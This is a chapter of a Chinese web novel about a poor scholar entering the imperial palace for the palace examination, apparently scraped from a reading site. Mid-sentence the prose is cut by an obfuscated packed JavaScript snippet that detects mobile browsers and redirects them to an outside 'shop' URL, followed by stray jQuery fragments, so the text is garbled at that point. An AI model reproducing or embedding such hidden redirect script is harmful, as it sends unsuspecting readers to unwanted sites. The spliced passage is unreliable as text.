186.第 186 章
作品:《科举之寒门弟子六元及第》 第一百八十六章入宫
寅时三刻,天还墨黑着,竹石居已经醒了。
厨房里亮着灯,赵师傅在煮面。铁柱帮着烧火,眼睛还半眯着,脑袋一点一点的。面条是昨晚就擀好的,细而筋道,下锅滚两滚就捞起,浇上清鸡汤,撒点葱花。
“少爷,吃面。”铁柱端碗进书房时,林湛已经穿好贡士服,正在束腰带。
深蓝色的罗袍在烛光下泛着幽光,胸前那只鹌鹑补子绣得精细,针脚细密。陈致远借的皮护膝已经绑在膝上,沈千机给的锦囊揣在怀里,周文渊他们整理的那本册子……昨夜又翻过一遍,此刻已牢牢记在脑中。
林湛坐下吃面,热气熏着脸。赵师傅站在一旁看着,忽然叹口气:“要是在老家,这时候该放炮仗了。”
“京城不让放。”铁柱接话,“昨儿我还问过巡夜的军爷。”
“规矩多。”赵师傅摇头,又往林湛碗里夹了块鸡肉,“多吃点,这一去得站到午时呢。”
正吃着,青云诸友都进来了。他们也都起了大早,虽不用入宫,但坚持要送一程。
沈千机绕着林湛转了一圈,像看什么货品:“嗯,袍子平整,腰带端正,靴子干净……就是头发,铁柱你再给抿抿,鬓角这儿有点毛。”
铁柱忙拿了梳子沾水,仔细抿好。
王砚之递过一个小油纸包:“里头是几块糖糕,万一饿了垫垫。不过宫里规矩大,未必能让吃。”
李慕白则检查了林湛的拜帖和身份文书:“都在,齐全。”
周文渊推着眼镜,最后叮嘱:“从东华门入,经左顺门到太和殿前广场。这段路大概要走一刻钟,期间不能左顾右盼,但有三次转弯处,可借机用余光观察周围建筑布局——万一皇上问起,能答上来是加分项。”
陈致远没说话,只拍了拍林湛的肩膀。
辰时初,该出发了。
院门打开,巷子里还静悄悄的。但走出几步就发现,不少街坊的窗里都亮着灯。有人推开窗探头看,有人站在门后悄悄瞧。
卖炊饼的刘大爷已经在生火,见了林湛,咧嘴一笑,比了个大拇指。巷尾的吴木匠站在自家门口,无声地拱手。
走到巷口,陈致远昨日联系的两位京营旧友已经等在那里,牵着匹马——还是殿试那日那匹白马。
“我们送林公子到东华门。”其中一人道,“这一路清净。”
果然,走的还是那条僻静巷道。天色渐青,东方泛起鱼肚白。偶尔经过的胡同里,能看见其他贡士的车马,也都是蓝袍身影,匆匆往宫城方向去。
快到东华门时,已能看见一片深蓝色的人潮。三百多名贡士,加上随行的家人、书童、车马,把宫门前那片空地挤得满满当当。礼部的官员穿梭其间,喊着“按会试名次列队”“查验文书”“勿要喧哗”。
林湛下马,谢过两位军士,转身汇入那片蓝色。
人群里,他看见几张熟悉的面孔——有会试时邻座的,有在礼部衙门领文书时打过照面的。大家互相点头致意,但没人说话。气氛肃穆,只有礼部官员的吆喝声和马匹偶尔的响鼻声。
“林兄!”有人轻声唤他。是同科贡士孙文清,也是寒门出身,会试排在第二十七名。
两人并肩站着等候查验。孙文清小声道:“林兄昨夜可睡得好?我几乎没合眼。”
“还好。”林湛答。其实他也醒了好几次,但这话不必说。
“我听说……”孙文清声音压得更低,“今科一甲,可能要从会试前十中出。林兄,你六元有望啊。”
林湛正要说什么,前面礼部官员喊道:“会试第一名,淳州林湛——验文书!”
他忙上前递上文书。那官员仔细核对,又抬眼打量他,点点头:“入列,甲字第一队。”
甲字队是前十名贡士的队伍,站在最前列。林湛走过去,已有几人在那里。大家都穿着一样的蓝袍,但气质各异:有沉稳如松的,有紧张得手指轻颤的,也有闭目养神状若入定的。
身后传来低声议论:“那就是林湛?”“看着真年轻。”“听说会试文章被几位读卷官争相传阅……”
林湛只作没听见,站得笔直。
卯时正,宫门缓缓开启。
沉重的朱漆大门发出“嘎——”的长响,门内是长长的宫道,青石板铺就,一眼望不到头。两侧是高耸的红墙,墙头琉璃瓦在晨光中开始泛起金色。
礼部侍郎亲自站在门内,朗声道:“诸贡士听令——按队列顺序,随引导官入宫。步履要稳,目不斜视,不得交头接耳。”
三百多人的队伍开始移动。靴子踏在青石板上,发出整齐的“嗒、嗒”声。宫道两侧每隔十步就站着一名侍卫,身着飞鱼服,腰佩绣春刀,目不转睛地盯着这支蓝色的人流。
林湛走在最前列,能清晰看见前方引导官袍角晃动的节奏。他按周文渊教的,在转弯处用余光扫视——左顺门的匾额、文华殿的飞檐、还有远处太和殿那巍峨的轮廓。
走了约一刻钟,眼前豁然开朗。
太和殿前广场,汉白玉铺地,宽广得能容万人。此刻广场上已经摆好了香案、礼器,礼部、鸿胪寺的官员各就各位。正前方,那九重汉白玉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289295|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
台阶之上的太和殿,殿门紧闭,但御座已经摆好,在晨光中泛着威严的金光。
贡士们被引导到指定位置列队。每人之间相隔三步,整齐划一。林湛站在第一排正中,正对着太和殿的御道。
站定后,就是漫长的等待。
辰时的太阳渐渐升高,晒在蓝袍上,有些暖意。但广场上风大,袍角被吹得猎猎作响。有人忍不住打了个喷嚏,立即被旁边的御史瞪了一眼。
林湛默默调整呼吸,让自己站得更稳。膝盖上的皮护膝起了作用,站久了也不觉酸疼。怀里那块不知谁送的玉佩贴着胸口,温温的。
时间一点点过去。礼部的官员开始最后检查仪仗,鸿胪寺的赞礼官在低声核对流程。偶尔有太监匆匆走过,脚步声轻得像猫。
队列里,开始有人悄悄活动脚踝——厚底官靴站久了确实累。林湛想起沈千机说的“站柜学问”,便试着微微调整重心,左右脚轮换承力。
巳时初,钟楼上传来悠长的钟声。
“皇上起驾了——”远处传来太监尖细的传报声,一声接一声,由远及近。
广场上所有人瞬间绷直了身体。礼乐声从远处响起,先是隐隐约约,渐渐清晰。那是宫廷雅乐,庄重而缓慢,配合着某种庄严的节奏。
太和殿的殿门缓缓打开。
林湛能看见殿内深处的御座,金龙盘旋,在透过殿门的阳光下闪闪发光。太监、宫女、侍卫鱼贯而出,在御道两侧整齐列队。
乐声越来越近。终于,一队仪仗出现在广场入口:龙旗、金瓜、钺斧、扇、伞……各种礼器在阳光下耀眼夺目。仪仗队后,是一顶明黄色的御辇。
三百多名贡士,在礼部官员的示意下,齐刷刷跪倒在地。
汉白玉地砖冰凉,即使隔着皮护膝也能感觉到。林湛俯首,额头轻触手背,视线落在眼前三尺处——那里有一道石缝,缝里长着细细的青苔。
乐声在广场上回荡。御辇在太和殿丹陛下停住,太监掀起帘子。
一双明黄色的靴子踏出,落在铺着红毯的台阶上。
然后,是第二级台阶,第三级……脚步缓慢而沉稳,一步一步,走向那至高无上的御座。
广场上静得能听见风吹旗幡的声音。
林湛保持着跪姿,一动不动。他能感觉到身边孙文清轻微的呼吸声,也能感觉到身后几百人共同屏住的那一口气。
终于,脚步声停在了最高处。
一个苍老而威严的声音,从太和殿前传来,通过赞礼官的传报,响彻整个广场:
“诸贡士——平身。”

